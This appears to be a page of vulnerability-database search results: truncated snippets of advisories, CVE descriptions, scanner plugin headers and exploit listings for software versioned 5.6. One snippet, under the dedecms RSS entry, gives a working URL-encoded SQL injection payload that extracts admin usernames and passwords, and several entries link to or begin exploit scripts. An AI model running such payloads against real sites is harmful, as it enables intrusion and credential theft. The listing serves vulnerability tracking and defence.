Oracle Linux 5.6 kernel security and bug fix update

2.6.18-238.el5 - net bnx2: remove extra call to pcimappage John Feeney 663509 - fs nfs: set lockcontext field in nfsreadpagesync Jeff Layton 663853 2.6.18-237.el5 - block fully zeroize request struct in rqinit Rob Evers 662154 - scsi qla4xxx: update to 5.02.04.02.05.06-d0 Chad Dupuis 656999 - scs...

RedHat Update for Red Hat Enterprise Linux 5.6 kernel RHSA-2011:0017-01

The remote host is missing an update for the SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptxrefname:"URL",...

Winamp 5.6 - 'MIDI Parser' Arbitrary Code Execution

http://www.kryptoslogic.com/advisories/2010/kryptoslogic-winamp-midi.txt PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15706.c ==-===-=====-=======-===========-=============-================= Winamp 5.6 Arbitrary Code Execution in MIDI Parser Kryptos Logic,...

Winamp 5.6 Arbitrary Code Execution In MIDI Parser

http://www.kryptoslogic.com/advisories/2010/kryptoslogic-winamp-midi.txt ==-===-=====-=======-===========-=============-================= Winamp 5.6 Arbitrary Code Execution in MIDI Parser Kryptos Logic, December 2010 ==-===-=====-=======-===========-=============-================= ===== Timeline...

CVE-2010-4478

OpenSSH 5.6 and earlier, when J-PAKE is enabled, does not properly validate the public parameters in the J-PAKE protocol, which allows remote attackers to bypass the need for knowledge of the shared secret, and successfully authenticate, by sending crafted values in each round of the protocol, a...

CVE-2010-4371

CVE-2010-4371 is a buffer overflow in Winamp’s in_mod plugin (pre-5.6) exploitable via the comment box. The OpenVAS/NVD records confirm the affected component and version range, with the root cause being a buffer overflow in in_mod. Impact is described as unspecified in the source, and no remedia...

dedecms 5.6 RSS subscription page injection vulnerability-vulnerability warning-the black bar safety net

EXP: the uploads/plus/rss. php? tid=1&Cs1=1&Cs2%2 9% 2 9%20AND%2 0% 2 2% 2 7% 2 2%20AND%20updatexml%2 8 1,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,1 6% 2 9,0x5d%2 9%20FROM%20dedeadmin%29,1%2 9%2 3%2 70=1 The use of the environment: GPC off There updatexml function...

Solaris 2.6 (sparc) : 109334-03

SunOS 5.6: cvcd patch. Date this patch was last updated by Sun : Jul/24/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if ! definedfunc"bnrandom"...

ttplayer <= 5.6 Beta3 Dos POC

Exploit for unknown platform in category dos / poc ===================== ttplayer = 5.6 Beta3 ===================== Exploit Title: ttplayer = 5.6 Beta3 Dos POC Author: t-bag Software Link: http://ttplayer.qianqian.com Version: 5.6Beta3 Tested on: win7 and win2003 Code : !/usr/bin/python f t-bag...

IBM AIX 5.6/6.1 _LIB_INIT_DBG Arbitrary File Overwrite via Libc Debug

No description provided by source. !/bin/sh $Id: raptorlibC,v 1.1 2009/09/10 15:08:04 raptor Exp $ raptorlibC - AIX arbitrary file overwrite via libC debug Copyright c 2009 Marco Ivaldi [email protected] Property of @ Mediaservice.net Srl Data Security Division http://www.mediaservice.net/...

PT-2009-4380 · Microsoft · Jscript

Name of the Vulnerable Software and Affected Versions: JScript scripting engine versions 5.1, 5.6, 5.7, and 5.8 Description: The issue is related to the improper loading of decoded scripts into memory before execution, which can lead to memory corruption. This can be exploited by remote attackers...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Interchange 5.7 before 5.7.1, 5.6 before 5.6.1, and 5.4 before 5.4.3 allow remote attackers to inject arbitrary web script or HTML via 1 the mvorderitem CGI variable parameter in Core, 2 the country-select widget, or 3 possibly the value...

CVE-2008-6945

Multiple cross-site scripting XSS vulnerabilities in Interchange 5.7 before 5.7.1, 5.6 before 5.6.1, and 5.4 before 5.4.3 allow remote attackers to inject arbitrary web script or HTML via 1 the mvorderitem CGI variable parameter in Core, 2 the country-select widget, or 3 possibly the value...

Solaris 2.6 (sparc) : 105403-04

SunOS 5.6: ypbind/ypserv patch. Date this patch was last updated by Sun : Jun/19/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Solaris 5.6 (sparc) : 112535-03

SEAM 1.0: patch for Solaris 2.6x86. Date this patch was last updated by Sun : Nov/13/03 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security if !...

Solaris 5.6 (sparc) : 112593-01

SunMC 2.1.1 Patch for the snmp security vu. Date this patch was last updated by Sun : Mar/04/02 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Solaris 2.6 (sparc) : 106894-01

SunOS 5.6: /usr/bin/uux patch. Date this patch was last updated by Sun : Jan/04/99 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Solaris 2.6 (sparc) : 105621-25

SunOS 5.6: c2audit, libbsm and cron patch. Date this patch was last updated by Sun : Nov/10/00 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in BMForum 5.6 allow remote attackers to inject arbitrary web script or HTML via the 1 outpused parameter to index.php, the 2 footercopyright and 3 verandproname parameters to newtem/footer/bsd01footer.php, and the 4 topads and 5 myplugin paramete...

CVE-2008-6431

Multiple cross-site scripting XSS vulnerabilities in BMForum 5.6 allow remote attackers to inject arbitrary web script or HTML via the 1 outpused parameter to index.php, the 2 footercopyright and 3 verandproname parameters to newtem/footer/bsd01footer.php, and the 4 topads and 5 myplugin paramete...